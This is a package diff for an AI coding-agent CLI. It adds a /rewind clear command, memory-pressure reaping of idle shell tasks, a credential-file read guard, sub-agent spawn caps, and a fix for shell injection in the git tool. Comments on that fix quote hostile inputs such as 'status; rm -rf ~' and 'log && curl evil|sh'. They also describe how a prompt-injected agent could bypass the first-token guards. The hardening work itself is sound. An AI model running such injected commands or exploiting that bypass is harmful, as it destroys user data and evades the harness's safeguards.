chainlesschain 0.162.122 → 0.162.124

package/src/repl/agent-repl.js

@@ -628,6 +628,10 @@ export async function startAgentRepl(options = {}) {
   // emits `checkpoint` events, so `/rewind <n>` can also restore files to the
   // snapshot taken before that turn (Claude-Code rewind = code + conversation).
   const _checkpointMarks = [];
+  // Most recent conversation stashed by `/clear`, so `/rewind clear` can bring
+  // it back (Claude-Code 2.1.191). Nulled on a context swap so a stash from one
+  // session can't be restored into another. { messages, marks } | null.
+  let _clearedConversation = null;
   // Apply --output-style or the settings.json `outputStyle` default at startup.
   try {
     const { resolveOutputStyle } = await import("../lib/output-styles.js");
@@ -1150,6 +1154,8 @@ export async function startAgentRepl(options = {}) {
         }
         _vim = res;
         if (res.message === "bell") process.stdout.write("\x07");
+        else if (res.notice)
+          process.stdout.write("\n" + chalk.gray(res.notice) + "\n");
         _vimSync(res);
         return;
       }
@@ -1453,7 +1459,7 @@ export async function startAgentRepl(options = {}) {
         `  ${chalk.cyan("/export")}     Save this conversation to a Markdown file (/export [path])`,
       );
       logger.log(
-        `  ${chalk.cyan("/rewind")}     Rewind conversation + files to an earlier turn (double-Esc lists)`,
+        `  ${chalk.cyan("/rewind")}     Rewind to an earlier turn (double-Esc lists); ${chalk.cyan("/rewind clear")} restores a /clear`,
       );
       logger.log(
         `  ${chalk.cyan("/cd <dir>")}   Change working directory mid-session (completion/memory follow)`,
@@ -1695,9 +1701,20 @@ export async function startAgentRepl(options = {}) {
     }
 
     if (trimmed === "/clear") {
+      // Stash the conversation first so `/rewind clear` can restore it
+      // (Claude-Code 2.1.191). A no-op /clear (nothing to stash) keeps any
+      // existing restorable snapshot.
+      const { snapshotClearedConversation } =
+        await import("../lib/repl-rewind.js");
+      const snap = snapshotClearedConversation(messages, _checkpointMarks);
+      if (snap) _clearedConversation = snap;
       messages.length = 1; // Keep system prompt
       _checkpointMarks.length = 0; // checkpoint marks no longer map to anything
-      logger.info("Conversation cleared");
+      logger.info(
+        snap
+          ? "Conversation cleared — run /rewind clear to restore it"
+          : "Conversation cleared",
+      );
       prompt();
       return;
     }
@@ -1868,8 +1885,32 @@ export async function startAgentRepl(options = {}) {
           renderTurnList,
           pickCheckpointForTurn,
           pruneMarksAfter,
+          restoreClearedConversation,
         } = await import("../lib/repl-rewind.js");
         const arg = trimmed.slice("/rewind".length).trim();
+        if (arg === "clear" || arg === "undo-clear") {
+          // Restore the conversation stashed by /clear (Claude-Code 2.1.191).
+          const r = restoreClearedConversation(
+            messages,
+            _checkpointMarks,
+            _clearedConversation,
+          );
+          if (!r) {
+            logger.error("Nothing to restore — no /clear has been run.");
+          } else {
+            _clearedConversation = r.newCleared;
+            logger.log(
+              chalk.green(
+                `↺ restored ${r.restored} message(s) from before /clear` +
+                  (r.stashed
+                    ? ` (current ${r.stashed} stashed — /rewind clear swaps back)`
+                    : ""),
+              ),
+            );
+          }
+          prompt();
+          return;
+        }
         if (!arg) {
           logger.log(chalk.bold("\nRewind — pick a user turn (newest first):"));
           logger.log(renderTurnList(listUserTurns(messages)));
@@ -1877,6 +1918,13 @@ export async function startAgentRepl(options = {}) {
             ? "  (restores files to that point too — checkpoints are on)"
             : "  (conversation only — start with --checkpoint / git to also rewind files)";
           logger.log(chalk.gray(`Usage: /rewind <n>${fileHint}`));
+          if (_clearedConversation) {
+            logger.log(
+              chalk.gray(
+                `  /rewind clear — restore the ${_clearedConversation.messages.length} message(s) from before the last /clear`,
+              ),
+            );
+          }
         } else {
           const res = rewindToTurn(messages, arg);
           if (!res) {
@@ -2081,6 +2129,7 @@ export async function startAgentRepl(options = {}) {
             // a later /rewind restore files from the WRONG session's snapshot.
             // Same reset /clear does on a context swap.
             _checkpointMarks.length = 0;
+            _clearedConversation = null; // stash belongs to the swapped-out session
             logger.info(
               `Resumed JSONL session ${sessionId} (${rebuilt.length} messages)`,
             );
@@ -2098,6 +2147,7 @@ export async function startAgentRepl(options = {}) {
               sessionId = existing.id;
               // Drop the prior session's checkpoint marks (see JSONL branch).
               _checkpointMarks.length = 0;
+              _clearedConversation = null; // stash belongs to the swapped-out session
               logger.info(
                 `Resumed session ${sessionId} (${parsed.length} messages)`,
               );

package/src/runtime/agent-core.js

@@ -16,7 +16,7 @@
 
 import fs from "fs";
 import path from "path";
-import { execSync, spawn } from "child_process";
+import { execSync, spawn, spawnSync } from "child_process";
 import os from "os";
 import sharedCodingAgentPolicy from "./coding-agent-policy.cjs";
 import sharedShellPolicy from "./coding-agent-shell-policy.cjs";
@@ -218,6 +218,49 @@ export function killAllBackgroundShellTasks() {
   return killed;
 }
 
+// Idle-reap tuning (Claude-Code 2.1.193 "automatic memory-pressure reaping for
+// idle background shell commands"). A running task is a reap candidate when it
+// has produced no output for BG_IDLE_REAP_MS AND the system is under memory
+// pressure (free/total below BG_MEM_PRESSURE_RATIO). Conservative on purpose:
+// idle-but-active tasks and a healthy machine are left alone, and the whole
+// behaviour is off when CLAUDE_CODE_DISABLE_BG_SHELL_PRESSURE_REAP=1.
+const BG_IDLE_REAP_MS = 5 * 60 * 1000; // 5 min of silence
+const BG_MEM_PRESSURE_RATIO = 0.1; // free < 10% of total = pressure
+
+/**
+ * Reap idle background shell tasks when the system is under memory pressure, so
+ * a forgotten `npm run dev` or a wedged build can't sit on memory indefinitely.
+ * No-op on a healthy machine (the pressure gate) or when disabled by env. Deps
+ * (now / freemem / totalmem / thresholds) are injectable for tests.
+ * @returns {string[]} ids of reaped tasks
+ */
+export function reapIdleBackgroundShellTasks(deps = {}) {
+  if (process.env.CLAUDE_CODE_DISABLE_BG_SHELL_PRESSURE_REAP === "1") return [];
+  const now = deps.now || Date.now;
+  const freemem = deps.freemem || os.freemem;
+  const totalmem = deps.totalmem || os.totalmem;
+  const idleMs = deps.idleMs != null ? deps.idleMs : BG_IDLE_REAP_MS;
+  const ratio =
+    deps.pressureRatio != null ? deps.pressureRatio : BG_MEM_PRESSURE_RATIO;
+  const total = totalmem();
+  const free = freemem();
+  if (!(total > 0) || free / total >= ratio) return []; // healthy → nothing to do
+  const t = now();
+  const reaped = [];
+  for (const task of _backgroundShellTasks.values()) {
+    if (task.status !== "running") continue;
+    const last = task.lastActivityAt || Date.parse(task.startedAt) || 0;
+    if (t - last < idleMs) continue; // still producing output recently
+    if (_killTask(task)) {
+      task.status = "reaped";
+      task.endedAt = new Date().toISOString();
+      task.error = "reaped: idle under memory pressure";
+      reaped.push(task.id);
+    }
+  }
+  return reaped;
+}
+
 // Foreground (synchronous) run_shell timeout. Configurable per-call via the
 // optional `timeout` arg; defaults to 60s and is hard-capped at 10 min so a
 // synchronous call can never wedge the loop indefinitely (use run_in_background
@@ -668,6 +711,50 @@ const IDE_DIFF_EDIT_TOOLS = new Set([
   "edit_file_hashed",
 ]);
 
+/**
+ * Quote-aware shell tokenizer (mirrors gateways/ws `tokenizeCommand`). The `git`
+ * tool runs the model-supplied command via argv (spawnSync, NO shell), so a
+ * string like `status; rm -rf ~` can't inject a second command through the
+ * shell — git just sees `status;` as an unknown subcommand. A quoted arg (e.g.
+ * a commit message) keeps its content because quotes are consumed here.
+ */
+export function tokenizeShellWords(input) {
+  const args = [];
+  let current = "";
+  let inDouble = false;
+  let inSingle = false;
+  let escape = false;
+  for (const ch of String(input || "")) {
+    if (escape) {
+      current += ch;
+      escape = false;
+      continue;
+    }
+    if (ch === "\\" && inDouble) {
+      escape = true;
+      continue;
+    }
+    if (ch === '"' && !inSingle) {
+      inDouble = !inDouble;
+      continue;
+    }
+    if (ch === "'" && !inDouble) {
+      inSingle = !inSingle;
+      continue;
+    }
+    if ((ch === " " || ch === "\t") && !inDouble && !inSingle) {
+      if (current.length > 0) {
+        args.push(current);
+        current = "";
+      }
+      continue;
+    }
+    current += ch;
+  }
+  if (current.length > 0) args.push(current);
+  return args;
+}
+
 /**
  * Compute the content an edit tool WOULD write, without writing it — the
  * left/right sides for an IDE diff review. Mirrors the corresponding
@@ -1029,6 +1116,53 @@ export async function executeTool(name, args, context = {}) {
     }
   }
 
+  // Credential READ guard (Claude-Code 2.1.189 parity: `sandbox.credentials`
+  // blocks reads of credential files / secret env vars). cc has no OS sandbox,
+  // so the same intent is enforced at the tool layer: pulling the user's secrets
+  // into model context is a confirm-first action. `read_file` aimed at a
+  // credential file, and `run_shell` commands that cat a credential file or echo
+  // a secret env var, are gated. An explicit settings `allow`/confirmed `ask`
+  // (ruleAllowed) pre-authorizes; headless without a confirmer fails closed;
+  // `CC_CREDENTIAL_GUARD=0` disables it. Unlike --safe-mode (which weakens
+  // customizations), this safety surface stays on under --safe-mode by design.
+  if (!ruleAllowed && (name === "read_file" || name === "run_shell")) {
+    const {
+      credentialFileReason,
+      commandReadsCredentials,
+      credentialGuardDisabled,
+    } = await import("../lib/credential-guard.js");
+    if (!credentialGuardDisabled(process.env)) {
+      let credReason = null;
+      if (name === "read_file" && args?.path) {
+        credReason = credentialFileReason(args.path);
+      } else if (name === "run_shell" && args?.command) {
+        const hit = commandReadsCredentials(args.command);
+        credReason = hit ? hit.reason : null;
+      }
+      if (credReason) {
+        const confirm =
+          context.permissionConfirm || context.shellConfirm || null;
+        const ok =
+          typeof confirm === "function"
+            ? await confirm({
+                tool: name,
+                args,
+                rule: null,
+                reason: `credential access: ${credReason}`,
+              })
+            : false;
+        if (!ok) {
+          const what =
+            name === "read_file" ? `Reading "${args.path}"` : "This command";
+          return {
+            error: `[Credential Guard] ${what} accesses secrets (${credReason}) and requires confirmation — denied. Add a settings allow rule, or set CC_CREDENTIAL_GUARD=0 to bypass.`,
+            policy: { decision: "ask", via: "credential-guard" },
+          };
+        }
+      }
+    }
+  }
+
   // Plan mode: check if tool is allowed (a settings `allow` rule pre-authorizes)
   if (
     planManager.isActive() &&
@@ -1109,6 +1243,7 @@ export async function executeTool(name, args, context = {}) {
       additionalDirectories: context.additionalDirectories || null,
       ruleAllowed,
       subAgentDepth: context.subAgentDepth || 0,
+      subAgentBudget: context.subAgentBudget || null,
       interactiveApproval: context.interactiveApproval || false,
     });
   } catch (err) {
@@ -1480,6 +1615,7 @@ async function executeToolInner(
     additionalDirectories,
     ruleAllowed = false,
     subAgentDepth = 0,
+    subAgentBudget = null,
     interactiveApproval = false,
   },
 ) {
@@ -1748,6 +1884,10 @@ async function executeToolInner(
       // polls output + completion via check_shell. No timeout — that's the whole
       // point of backgrounding (builds, test suites, dev servers).
       if (args.run_in_background === true) {
+        // Free memory from idle background tasks before adding another, so a
+        // long agent run can't accumulate forgotten dev servers (no-op unless
+        // the machine is actually under memory pressure).
+        reapIdleBackgroundShellTasks();
         const id = `bg_${++_backgroundTaskSeq}`;
         const task = {
           id,
@@ -1758,6 +1898,7 @@ async function executeToolInner(
           signal: null,
           error: null,
           startedAt: new Date().toISOString(),
+          lastActivityAt: Date.now(),
           endedAt: null,
           out: _newBgStream(),
           err: _newBgStream(),
@@ -1789,11 +1930,17 @@ async function executeToolInner(
           task.child = child;
           if (child.stdout) {
             child.stdout.setEncoding("utf8");
-            child.stdout.on("data", (d) => _appendBgStream(task.out, d));
+            child.stdout.on("data", (d) => {
+              task.lastActivityAt = Date.now();
+              _appendBgStream(task.out, d);
+            });
           }
           if (child.stderr) {
             child.stderr.setEncoding("utf8");
-            child.stderr.on("data", (d) => _appendBgStream(task.err, d));
+            child.stderr.on("data", (d) => {
+              task.lastActivityAt = Date.now();
+              _appendBgStream(task.err, d);
+            });
           }
           child.on("error", (err) => {
             task.status = "error";
@@ -1924,27 +2071,44 @@ async function executeToolInner(
         });
       }
 
-      try {
-        const output = execSync(`git ${normalizedCommand}`, {
-          cwd: args.cwd || cwd,
-          encoding: "utf8",
-          timeout: 60000,
-          maxBuffer: 1024 * 1024,
-        });
+      // Run via argv (spawnSync, NO shell) so shell metacharacters in the
+      // command — e.g. `status; rm -rf ~`, `log && curl evil|sh`, `$(…)` —
+      // cannot inject a second command. Previously execSync(`git ${cmd}`) ran
+      // the whole string through a shell, and the destructive-git/credential/
+      // run_shell guards only inspect the first token, so this was an arbitrary
+      // command-execution bypass for a prompt-injected agent. Quoted args (a
+      // commit message) keep their content via the quote-aware tokenizer.
+      const gitArgs = tokenizeShellWords(normalizedCommand);
+      const res = spawnSync("git", gitArgs, {
+        cwd: args.cwd || cwd,
+        encoding: "utf8",
+        timeout: 60000,
+        maxBuffer: 1024 * 1024,
+        windowsHide: true,
+      });
+      const readOnly = isReadOnlyGitCommand(normalizedCommand);
+      if (res.error) {
         return attachDescriptor({
-          stdout: output.substring(0, 30000),
+          error: String(res.error.message || res.error).substring(0, 2000),
           command: normalizedCommand,
-          readOnly: isReadOnlyGitCommand(normalizedCommand),
+          readOnly,
         });
-      } catch (err) {
+      }
+      if (res.status !== 0) {
+        const stderr = String(res.stderr || "").substring(0, 2000);
         return attachDescriptor({
-          error: err.message.substring(0, 2000),
-          stderr: (err.stderr || "").substring(0, 2000),
-          exitCode: err.status,
+          error: stderr || `git exited with code ${res.status}`,
+          stderr,
+          exitCode: res.status,
           command: normalizedCommand,
-          readOnly: isReadOnlyGitCommand(normalizedCommand),
+          readOnly,
         });
       }
+      return attachDescriptor({
+        stdout: String(res.stdout || "").substring(0, 30000),
+        command: normalizedCommand,
+        readOnly,
+      });
     }
 
     case "run_code": {
@@ -1994,6 +2158,7 @@ async function executeToolInner(
           sessionId,
           llmOptions,
           subAgentDepth,
+          subAgentBudget,
         }),
       );
     }
@@ -2144,8 +2309,19 @@ async function executeToolInner(
           ? `dir /s /b *${args.pattern}* 2>NUL`
           : `find . -name "*${args.pattern}*" -type f 2>/dev/null | head -20`;
 
+      // Credential guard (Claude-Code 2.1.189 parity): a CONTENT search must not
+      // become a side channel that exfils secrets the read_file / run_shell
+      // guards already block. Windows `findstr /n` embeds the matching LINE
+      // (e.g. `API_KEY=…` from a .env); POSIX `grep -l` returns only names. Any
+      // hit whose source is a credential file is redacted to an existence-only
+      // marker — the agent must read_file (confirm-gated) to view it.
+      const { credentialFileReason } = isContent
+        ? await import("../lib/credential-guard.js")
+        : { credentialFileReason: () => null };
+
       const hits = [];
       const seen = new Set();
+      const redactedCreds = new Set();
       for (const root of roots) {
         if (hits.length >= 20) break;
         try {
@@ -2158,6 +2334,16 @@ async function executeToolInner(
           for (const line of output.trim().split("\n")) {
             const v = line.trim();
             if (!v || seen.has(v)) continue;
+            if (isContent) {
+              // content hit is `file:line:text` (findstr /n) or a bare filename
+              // (grep -l); pull the source file and redact credential matches.
+              const src = v.match(/^(.+?):\d+:/)?.[1] ?? v;
+              if (credentialFileReason(src)) {
+                redactedCreds.add(src.replace(/\\/g, "/"));
+                seen.add(v);
+                continue;
+              }
+            }
             // Qualify with the root so multi-root results stay unambiguous.
             const labeled = roots.length > 1 ? `${root}: ${v}` : v;
             seen.add(v);
@@ -2169,6 +2355,14 @@ async function executeToolInner(
         }
       }
 
+      // One existence-only marker per credential file (never its contents).
+      for (const f of redactedCreds) {
+        if (hits.length >= 20) break;
+        hits.push(
+          `<credential file ${f}: matches redacted — use read_file (requires confirmation) to view>`,
+        );
+      }
+
       if (hits.length === 0) {
         return attachDescriptor({ files: [], message: "No matches found" });
       }
@@ -2659,6 +2853,18 @@ async function _executeRunCode(args, cwd) {
  */
 export const MAX_SUB_AGENT_DEPTH = 5;
 
+/**
+ * Max TOTAL sub-agents a single run may spawn across the whole tree. The depth
+ * cap bounds how DEEP nesting goes (5), but not how WIDE: every level could fan
+ * out many children, each with its own fresh iteration budget, so depth-cap
+ * alone leaves total work ~budget^depth in a runaway/adversarial case. A shared
+ * counter (threaded by reference through the tool context, like subAgentDepth)
+ * gives a hard ceiling on the whole tree. Generous enough for legitimate
+ * fan-out delegation; a model that blows past it is looping. Override per run
+ * with `options.subAgentBudget`.
+ */
+export const MAX_SUB_AGENTS_PER_RUN = 32;
+
 /**
  * Per-tool-result character cap fed back to the model. One giant tool output (a
  * huge file, a verbose command, an MCP blob) must not blow the context window —
@@ -2689,6 +2895,39 @@ export function capToolResultString(serialized, max = MAX_TOOL_RESULT_CHARS) {
   );
 }
 
+/**
+ * Serialize a tool result for the transcript without ever throwing. A plain
+ * `JSON.stringify` throws on a circular reference, a BigInt, or a value whose
+ * `toJSON` throws — and that call sits OUTSIDE executeTool's try/catch, so one
+ * odd tool result would crash the whole agent turn. The happy path is identical
+ * to `JSON.stringify` (returns its value verbatim, including `undefined`, which
+ * `capToolResultString` already normalizes); only a throw falls back to a
+ * circular- and BigInt-safe pass, then a last-resort string form.
+ */
+export function safeStringifyToolResult(value) {
+  try {
+    return JSON.stringify(value);
+  } catch {
+    try {
+      const seen = new WeakSet();
+      return JSON.stringify(value, (_k, v) => {
+        if (typeof v === "bigint") return v.toString();
+        if (v && typeof v === "object") {
+          if (seen.has(v)) return "[Circular]";
+          seen.add(v);
+        }
+        return v;
+      });
+    } catch {
+      try {
+        return String(value);
+      } catch {
+        return "[unserializable tool result]";
+      }
+    }
+  }
+}
+
 /**
  * Execute a spawn_sub_agent tool call.
  * Creates an isolated SubAgentContext, runs it, and returns only the summary.
@@ -2705,6 +2944,22 @@ async function _executeSpawnSubAgent(args, ctx) {
       error: `spawn_sub_agent: max nesting depth (${MAX_SUB_AGENT_DEPTH}) reached — complete the task directly instead of delegating further.`,
     };
   }
+  // Breadth cap: a shared counter (one object for the whole tree) bounds the
+  // TOTAL sub-agents a run may spawn, so a wide fan-out can't blow up even
+  // within the depth limit. Refuse + count BEFORE any work so the increment
+  // can't be skipped by a later error.
+  const subAgentBudget = ctx.subAgentBudget || null;
+  if (subAgentBudget) {
+    const max = Number.isFinite(subAgentBudget.max)
+      ? subAgentBudget.max
+      : MAX_SUB_AGENTS_PER_RUN;
+    if ((subAgentBudget.spawned || 0) >= max) {
+      return {
+        error: `spawn_sub_agent: max sub-agents per run (${max}) reached — complete remaining work directly instead of delegating further.`,
+      };
+    }
+    subAgentBudget.spawned = (subAgentBudget.spawned || 0) + 1;
+  }
   let {
     role,
     task,
@@ -2807,6 +3062,9 @@ async function _executeSpawnSubAgent(args, ctx) {
     profile: profile || null,
     llmOptions: subLlmOptions,
     depth: currentDepth + 1, // nested spawns see their own level
+    // Same shared counter object so the child's own spawns draw from the run's
+    // single total-sub-agent pool (breadth cap spans the whole tree).
+    subAgentBudget: ctx.subAgentBudget || null,
   });
 
   const emit = (type, payload) => {
@@ -2824,15 +3082,26 @@ async function _executeSpawnSubAgent(args, ctx) {
     }
   };
 
+  // Resolve the registry ONCE before the try so the failure path can also move
+  // the sub-agent out of `_active` (the success path does this via complete()).
+  const { SubAgentRegistry } =
+    await import("../lib/sub-agent-registry.js").catch(() => ({
+      SubAgentRegistry: null,
+    }));
+  let registry = null;
+  if (SubAgentRegistry) {
+    try {
+      registry = SubAgentRegistry.getInstance();
+    } catch (_err) {
+      registry = null; // registry unavailable — non-critical
+    }
+  }
+
   try {
     // Notify registry if available
-    const { SubAgentRegistry } =
-      await import("../lib/sub-agent-registry.js").catch(() => ({
-        SubAgentRegistry: null,
-      }));
-    if (SubAgentRegistry) {
+    if (registry) {
       try {
-        SubAgentRegistry.getInstance().register(subCtx);
+        registry.register(subCtx);
       } catch (_err) {
         // Registry not available — non-critical
       }
@@ -2848,9 +3117,9 @@ async function _executeSpawnSubAgent(args, ctx) {
     const result = await subCtx.run(task);
 
     // Complete in registry
-    if (SubAgentRegistry) {
+    if (registry) {
       try {
-        SubAgentRegistry.getInstance().complete(subCtx.id, result);
+        registry.complete(subCtx.id, result);
       } catch (_err) {
         // Non-critical
       }
@@ -2879,6 +3148,18 @@ async function _executeSpawnSubAgent(args, ctx) {
   } catch (err) {
     subCtx.forceComplete(err.message);
 
+    // Move the failed sub-agent out of the registry's `_active` Map into bounded
+    // history (mirrors the success path). Without this, a sub-agent whose run()
+    // threw outside its own try (setup/summarize error) lingers in `_active`
+    // forever and over-reports as "active" to monitors/UI.
+    if (registry) {
+      try {
+        registry.complete(subCtx.id, subCtx.result);
+      } catch (_err) {
+        // Non-critical
+      }
+    }
+
     emit("sub-agent.failed", {
       status: subCtx.status,
       error: err.message,
@@ -4099,6 +4380,10 @@ const _CHECKPOINT_READ_ONLY = new Set([
   "search_sessions",
 ]);
 
+// Rolling cap on auto-checkpoints per agent session — the engine prunes the
+// oldest beyond this so a long run can't accumulate unbounded refs.
+const MAX_AUTO_CHECKPOINTS_PER_SESSION = 100;
+
 let _checkpointStoreP = null;
 function _loadCheckpointStore() {
   if (!_checkpointStoreP) {
@@ -4129,6 +4414,10 @@ async function _autoCheckpointBeforeTool(toolContext, toolName, toolArgs) {
         120,
       ),
       skipIfUnchanged: true,
+      // Bound auto-checkpoint history: a rolling safety net of the last N
+      // mutating-tool states. Prevents unbounded ref growth + O(n²) nextId over
+      // a long agentic run (rewinding 100+ tool calls back is already extreme).
+      maxPerSession: MAX_AUTO_CHECKPOINTS_PER_SESSION,
     });
     return res?.id || null;
   } catch {
@@ -4226,6 +4515,13 @@ export async function* agentLoop(messages, options) {
     // Sub-agent nesting level (0 = main loop); spawn_sub_agent caps at
     // MAX_SUB_AGENT_DEPTH using this.
     subAgentDepth: options.subAgentDepth || 0,
+    // Shared TOTAL-sub-agent counter for the whole run. Reuse the parent's
+    // instance (passed by reference) so every nested level draws from one pool;
+    // the main loop seeds it. Bounds breadth, complementing the depth cap.
+    subAgentBudget: options.subAgentBudget || {
+      spawned: 0,
+      max: MAX_SUB_AGENTS_PER_RUN,
+    },
   };
 
   throwIfAborted(signal);
@@ -4663,7 +4959,9 @@ export async function* agentLoop(messages, options) {
       // Cap an individual tool result so one giant output can't blow the
       // context — but tell the model when we cut it (no more silent
       // mid-content slice). See MAX_TOOL_RESULT_CHARS / capToolResultString.
-      const resultStr = capToolResultString(JSON.stringify(toolResult));
+      const resultStr = capToolResultString(
+        safeStringifyToolResult(toolResult),
+      );
       const toolContent = warningMsg
         ? `${resultStr}\n\n${warningMsg}`
         : resultStr;